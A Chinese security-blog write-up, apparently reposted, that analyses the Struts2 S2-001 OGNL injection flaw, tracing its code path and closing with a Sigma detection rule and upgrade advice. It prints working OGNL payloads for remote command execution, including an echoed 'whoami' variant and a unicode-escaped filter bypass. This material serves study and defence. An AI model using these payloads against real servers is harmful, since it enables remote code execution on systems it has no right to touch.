ATT&CK-st001漏洞之漏洞分析与利用

admin 2022年5月13日21:43:51评论27 views字数 3310阅读11分2秒阅读模式
ATT&CK-st001漏洞之漏洞分析与利用

STATEMENT

声明

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测及文章作者不为此承担任何责任。

雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。


ATT&CK-st001漏洞之漏洞分析与利用

原理

该漏洞因为用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用 OGNL 表达式 %{value} 进行解析,然后重新填充到对应的表单数据中。例如注册或登录页面,提交失败后端一般会默认返回之前提交的数据,由于后端使用 %{value},对提交的数据执行了一次 OGNL 表达式解析,从而导致命令执行漏洞的产生。

ATT&CK-st001漏洞之漏洞分析与利用


漏洞影响范围

WebWork 2.1(启用 altSyntax)
WebWork 2.2.0 - WebWork 2.2.5
Struts 2.0.0 - Struts 2.0.8

ATT&CK-st001漏洞之漏洞分析与利用

环境搭建

下载 st-001 的漏洞环境,idea打开运行即可。
payload:

// 验证漏洞存在,如果%{1+1}提交后返回2,证明漏洞存在。%{1+1}// tomcat路径%{@java.lang.System@getProperty("user.dir")}// web目录%{# req=@org.apache.struts2.ServletActionContext@getRequest(),# response=# context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),# response.println(# req.getRealPath('/')),# response.flush(),# response.close()}// 执行系统命令%{@java.lang.Runtime@getRuntime().exec("calc")}// 回显执行系统命令%{# a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),# b=# a.getInputStream(),# c=new java.io.InputStreamReader(# b),# d=new java.io.BufferedReader(# c),# e=new char[50000],# d.read(# e),# f=# context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),# f.getWriter().println(new java.lang.String(# e)),# f.getWriter().flush(),# f.getWriter().close()}

绕过方式:u0023与u003d绕过,其中u0023代表:# ,u003d代表=。

%{u0023au003d(new java.lang.ProcessBuilder(new java.lang.String[]{"calc"})).redirectErrorStream(true).start(),u0023bu003du0023a.getInputStream(),u0023cu003dnew java.io.InputStreamReader(u0023b),u0023du003dnew java.io.BufferedReader(u0023c),u0023eu003dnew char[50000],u0023d.read(u0023e),u0023fu003du0023context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),u0023f.getWriter().println(new java.lang.String(u0023e)),u0023f.getWriter().flush(),u0023f.getWriter().close()}
ATT&CK-st001漏洞之漏洞分析与利用

代码分析

这里使用payload进行漏洞利用。

%{# a=(new java.lang.ProcessBuilder(new java.lang.String[]{"calc"})).redirectErrorStream(true).start(),# b=# a.getInputStream(),# c=new java.io.InputStreamReader(# b),# d=new java.io.BufferedReader(# c),# e=new char[50000],# d.read(# e),# f=# context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),# f.getWriter().println(new java.lang.String(# e)),# f.getWriter().flush(),# f.getWriter().close()}

首先,前台传入进去的参数,经过struts2解析,通过struts2-core-2.0.1.jar包,通过查看默认配置文件struts-default.xml发现.

param传入到com.opensymphony.xwork2.interceptor.ParametersInterceptor类中,具体如下:

ATT&CK-st001漏洞之漏洞分析与利用

ParametersInterceptor.java文件,在doIntercept设置断点,进行断点调试。

ATT&CK-st001漏洞之漏洞分析与利用

parameters已经将参数获取过来。

ATT&CK-st001漏洞之漏洞分析与利用

setParameters(action, stack, parameters)这里,OGNL 表达式会对传入参数进行解析,从而造成代码执行漏洞,当DenyMethodExecution设置为false时,代码执行才可以被利用。

ATT&CK-st001漏洞之漏洞分析与利用

继续对setParameters函数进行跟踪,获取到传入username的值,同时继续跟踪stack.setValue方法。

ATT&CK-st001漏洞之漏洞分析与利用

继续跟进:

ATT&CK-st001漏洞之漏洞分析与利用

继续跟进:

ATT&CK-st001漏洞之漏洞分析与利用

OgnlRuntime.setMethodValue返回为true,然后返回。

ATT&CK-st001漏洞之漏洞分析与利用

setDenyMethodExecution最后默认为false后,在invocation.invoke()调用时,恶意代码才被执行。

ATT&CK-st001漏洞之漏洞分析与利用

跟进invocation.invoke方法:

ATT&CK-st001漏洞之漏洞分析与利用

继续跟进:

ATT&CK-st001漏洞之漏洞分析与利用
ATT&CK-st001漏洞之漏洞分析与利用

测试用例

使用工具:Struts2漏洞检查工具2019版 V2.3.exe进行漏洞验证,具体如图:

ATT&CK-st001漏洞之漏洞分析与利用
ATT&CK-st001漏洞之漏洞分析与利用

检测规则

Sigma检测规则如下:

title: st-001远程代码执行漏洞description: 检测st-001远程代码执行漏洞status: testdate: 2022/04/01author: bigsealogsource:category: webserverdetection:selection:c-uri|contains:- '%{'- 'java.lang.Runtime'- 'java.lang.ProcessBuilder'condition: selectionfields:- c-ip- c-dnstags:- attack.t1190- attack.initial_access- cve.2007.4556level: Critical
ATT&CK-st001漏洞之漏洞分析与利用

缓解措施

官方建议Struts升级至2.0.9版本或XWork升级2.0.4版本,上方我们进行分析时,已经得知问题是出在xwork框架中,所以升级xwork版本即可。


安恒信息

杭州亚运会网络安全服务官方合作伙伴

成都大运会网络信息安全类官方赞助商

武汉军运会、北京一带一路峰会

青岛上合峰会、上海进博会

厦门金砖峰会、G20杭州峰会

支撑单位北京奥运会等近百场国家级

重大活动网络安保支撑单位

ATT&CK-st001漏洞之漏洞分析与利用


END

ATT&CK-st001漏洞之漏洞分析与利用
ATT&CK-st001漏洞之漏洞分析与利用
ATT&CK-st001漏洞之漏洞分析与利用

长按识别二维码关注我们



原文始发于微信公众号(雷神众测):ATT&CK-st001漏洞之漏洞分析与利用

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年5月13日21:43:51
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   ATT&CK-st001漏洞之漏洞分析与利用https://cn-sec.com/archives/1005012.html

发表评论

匿名网友 填写信息